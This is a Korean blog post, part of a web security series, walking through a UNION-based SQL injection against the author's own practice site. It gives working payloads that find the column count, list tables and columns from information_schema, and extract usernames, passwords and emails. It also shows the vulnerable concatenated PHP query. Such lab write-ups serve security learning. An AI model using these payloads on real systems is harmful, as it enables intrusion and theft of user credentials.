갬쿠
개미 개발
갬쿠
전체 방문자
오늘
어제
  • ALL (137)
    • React (20)
    • JS & CSS & HTML (29)
    • Algorithm (62)
    • 웹 보안 (11)
    • 달리는 까까: 쿠키런 팬게임 (10)
    • Python (0)
    • 기타 (5)
    • 비공개 플젝 (0)

블로그 메뉴

  • GitHub
  • 방명록
  • 관리자 메뉴

공지사항

인기 글

태그

  • BEAKJOON
  • 객체
  • 달리는 까까
  • node.js
  • 쿠키런 모작
  • js
  • SQL Injection
  • 쿠키런
  • 크롬 공룡 게임
  • useState
  • 백준
  • Python
  • JavaScript
  • 게임 개발
  • 리액트
  • Baekjoon
  • 크롬 공룡게임
  • Best of the Best
  • Programmers
  • HTML
  • 모의 해킹
  • Object
  • 게임
  • CSS
  • transform
  • 쿠키런 팬게임
  • useReducer
  • EventListener
  • useEffect
  • REACT

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
갬쿠

개미 개발

SQL Injection - 공격 실습(2), UNION Based SQL Injection
웹 보안

SQL Injection - 공격 실습(2), UNION Based SQL Injection

2022. 12. 18. 21:21

이어서 로그인 페이지에서 UNION Based SQL Injection을 진행했다. 

 

SQL에서 UNION이라는 키워드는 두 개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여준다. 정상적인 쿼리문에 UNION 키워드를 사용하여 인젝션에 성공하면 원하는 쿼리문을 실행할 수 있다.

UNION 키워드를 사용하려면 UNION하려는 두 테이블의 컬럼 수가 같아야 하기 때문에 컬럼 수를 먼저 구하고, 출력되는 컬럼을 파악해 원하는 정보를 탈취하게 된다.

 

컬럼 수 확인

' UNION SELECT ALL 1# 검색 시

' UNION SELECT ALL 1# 검색 시 컬럼 수가 맞지 않는다는 오류 메시지가 출력된다. 뒤의 숫자를 하나씩 늘려가며 입력하다 보면

' UNION SELECT ALL 1,2,3,4,5,6,7,8,9# 검색 시

' UNION SELECT ALL 1,2,3,4,5,6,7,8,9# 을 검색했을 때 오류 메시지가 출력되지 않고, 게시글 테이블과 UNION된 결과가 출력된다. 위 결과에서 컬럼 수가 9라는 정보와 1, 3, 8, 9번째 컬럼 데이터들이 출력되고 있다는 정보를 알 수 있다.

 

게시글 검색 결과를 가져오는 쿼리는 다음과 같았다.

$search_query = "SELECT * FROM board WHERE title LIKE '%".$search."%'";

 

공격 과정에서 실제 DB에 전송된 쿼리는

SELECT * FROM board WHERE title LIKE '%' UNION SELECT ALL 1,2,3,4,5,6,7,8,9#%’

로, 

이 테이블과 게시글 테이블을 UNION해서 가져오게 된다.

 

정보 탈취

1. DB에서 사용되는 테이블 명 확인

' UNION SELECT ALL table_name,2,3,4,5,6,7,8,9 from information_schema.tables# 를 검색한다. 1번 컬럼의 자리에 테이블 명을 출력하기 위해서다.

위와 같이 내가 만들었던 테이블 이름이 출력된다.

 

2. 테이블에서 사용되는 column명 확인

' UNION SELECT ALL 1,2,3,4,5,6,7,column_name,9 from information_schema.columns where table_name='board'# 를 검색한다. 앞서 알아낸 테이블 board의 컬럼명을 8번 컬럼의 자리에 출력하기 위함이다.

' UNION SELECT ALL 1,2,3,4,5,6,7,column_name,9 from information_schema.columns where table_name='user_info'# 를 검색해 user_info 테이블의 컬럼명도 알아낸다.

 

3. 데이터 추출

알아낸 컬럼명으로 원하는 데이터를 가져온다. 출력되고 있는 컬럼 번호에 원하는 컬럼명을 넣어 출력시키면 된다. 사용자 이름, 성별, 비밀번호, 이메일을 알아내기 위해 ' UNION SELECT ALL uname, 2, ugender, 4, 5, 6, 7, upw, uemail from board# 를 검색했다.

 

위 과정을 반복하면 DB 내의 모든 데이터를 추출할 수 있다. 시간이 오래 걸리기 때문에 자동화 코드를 사용하기도 한다.

728x90

'웹 보안' 카테고리의 다른 글

SQL Injection - 공격 실습(4), Blind SQL Injection  (0) 2022.12.22
SQL Injection - 공격 실습(3), Error Based SQL Injection  (2) 2022.12.18
SQL Injection - 공격 실습(1), 로그인 우회  (0) 2022.12.18
SQL Injection - 모의 해킹 사이트 구축(3)  (0) 2022.12.18
SQL Injection - 모의 해킹 사이트 구축(2)  (0) 2022.12.18
    '웹 보안' 카테고리의 다른 글
    • SQL Injection - 공격 실습(4), Blind SQL Injection
    • SQL Injection - 공격 실습(3), Error Based SQL Injection
    • SQL Injection - 공격 실습(1), 로그인 우회
    • SQL Injection - 모의 해킹 사이트 구축(3)
    갬쿠
    갬쿠
    보안&소프트웨어 전공 프론트엔드 개발자

    티스토리툴바